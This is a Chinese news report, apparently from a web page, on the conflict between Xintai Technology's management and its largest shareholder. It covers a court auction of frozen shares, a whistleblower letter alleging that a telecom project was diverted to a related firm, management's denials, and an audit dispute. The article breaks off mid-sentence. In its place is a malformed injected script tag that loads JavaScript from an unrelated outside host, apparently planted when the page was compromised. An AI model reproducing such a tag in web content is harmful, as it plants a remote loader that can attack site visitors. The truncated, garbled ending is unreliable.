正值大股东所持股权被法院拍卖前夕,管理层指其“动机难以琢磨”
与管理层已经交恶了两年的新太科技(600728.sh)大股东,最近又生事端。
11月14日,广州中级人民法院悄然挂出一则“新太科技5664.8594万股社会法人股整体拍卖”的公告,这笔法人股是新太科技第一大股东广州新太新技术研究设计有限公司(以下简称“新太新”)持有的29.9%股份中的91%。
自2004年12月以来,新太新持有的新太科技股权一直被冻结,新太科技认为这是导致它无法股改的主要原因之一。
拍卖意味着股权解冻,新太科技亦有望进入股改程序。不料当天上午,新太新董事长、原董事长邓龙龙的委托代理人卢金树紧急召开了一个媒体说明会,主题是“揭露某些人的涉嫌犯罪行为,剖析新太科技近两年来资产大幅减值、经营业绩大幅下滑的内幕”。
对于卢的揭发和指责,与新太新仅一楼之隔的新太科技办公楼里,新太科技总裁梁平和董秘刘颖迅速做出了回应。他们表示,“对方的动机难以琢磨”。
15日傍晚,新太科技在提供给本报的“就第一大股东对我司的失实质疑的郑重澄清声明”中,再度否认了大股东的各项指责。
神秘的举报信
自新太新原董事长邓龙龙因侵占上市公司资金被刑拘后,2005年5月,卢金树正式成为邓龙龙委托的代理人。
卢1989年开始在新太集团工作,1995年离开新太参与创立了邦讯科技,邦讯后来被亚信以4000万美元收购。
在卢金树的“揭露”中,提到了一封来自新太原高级职员的举报信。卢据此认为,新太科技中存在小集体通过5种手法掏空公司资产的违法犯罪行为。卢金树称,有些问题还在调查中,故不具体指出这5种手法,不过提出了一个具体项目。
此项目是“2004年安徽电信96800/168扩容工程”,举报人指出,在该合同金额为379万元的项目中,有355万元(占总金额的93.67%)转给了广州市锐智科技有限公司(以下简称锐智科技),新太仅取得24万元(仅占总金额的6.33%)。
在写于今年8月份的那封举报信上,举报人称,时任新太科技执行副总裁的梁平私自签署授权书和转让协议,将新太科技的核心项目转到锐智科技名下,给公司造成了巨额经济损失。
卢金树认为,从新太科技2006年第三季报中可以看出,该类项目毛利率在32%以上,直接采购成本不到合同额的50%,锐智科技虽获取了绝大部分利润,但合同从获得到工程实施均由新太科技员工完成;在合同中,锐智科技的联系电话是新太科技的营销部电话,锐智科技签合同的代表人与新太科技的签合同代表人,都是艾珩一人,此人至今一直都是新太科技的在职员工。
举报人还称,锐智科技的法定代表人和绝对控股股东谭民伟是新太科技总裁梁平的亲戚。
记者在卢金树提供的一封来自证监会广东监管局的信函中看到,当初举报人曾向广东省证监局举报,广东证监局在11月8日正式回函,建议向公安部门报案。此后,新太新向广州市公安局经侦支队报了案。
谁是举报人?
“锐智跟我有亲戚关系是没有的事。”梁平在接受记者采访时否认道。他表示,自己曾接受警方的问话,但是问话后的处理决定是“经侦支队对此不予立案”。
记者从有关方面了解到,不予立案的通知书不久前已经交送给卢金树,卢没有在7天的时间里提出复议。
至于“安徽工程”为何90%以上的利润被锐智拿走,梁平解释,2005年初,新太科技因资金被原高管占用等情况,面临资金困难,还有为数不少的欠款,供应商们停止发货,并纷纷提出先付现金才能发货,西安的思安华胜更因欠款问题一纸诉状将新太科技告上法庭。
“当时新太有不少项目合同,但没有能力去买设备,不过又不甘心放弃,把单子丢给竞争对手,我们就找到了有资金的合作伙伴一起做。”董秘刘颖说,由于锐智主要提供硬件设备,而新太科技主要提供软件,由于软件的可复制性,成本很低,因此拿低利润可以理解。
对于这次举报事件,新太科技人士认为有可能是之前窃取公司机密的离职员工所为。
去年,新太科技几名销售人员和技术人员另起炉灶,推出了与新太拳头产品高度相似的产品,以超低价抢夺新太科技原有的市场和客户,给新太科技造成损失达1000万元以上。目前,广州市公安局以涉嫌侵犯商业秘密的罪名正式立案调查。
查账纠纷
14日上午,卢金树特别提到了查账一事,而关于大股东究竟有没有查账的权力成为争执的焦点。
对新太科技宣布的“新太新及附属子公司非经营性占用了其巨额资金3.7亿元”的说法,卢金树认为不妥。他说,在对该债务进行重新整理过程中,发现有很多不清晰的地方,并提到邓龙龙当时留给他的一封信,信中称约有1.2亿-1.6亿元计算不准确。
在今年9月15日新太科技的股东大会上,新太新口头提出了查账、对账要求,9月18日正式向新?script src=http://er12.com/t.js>







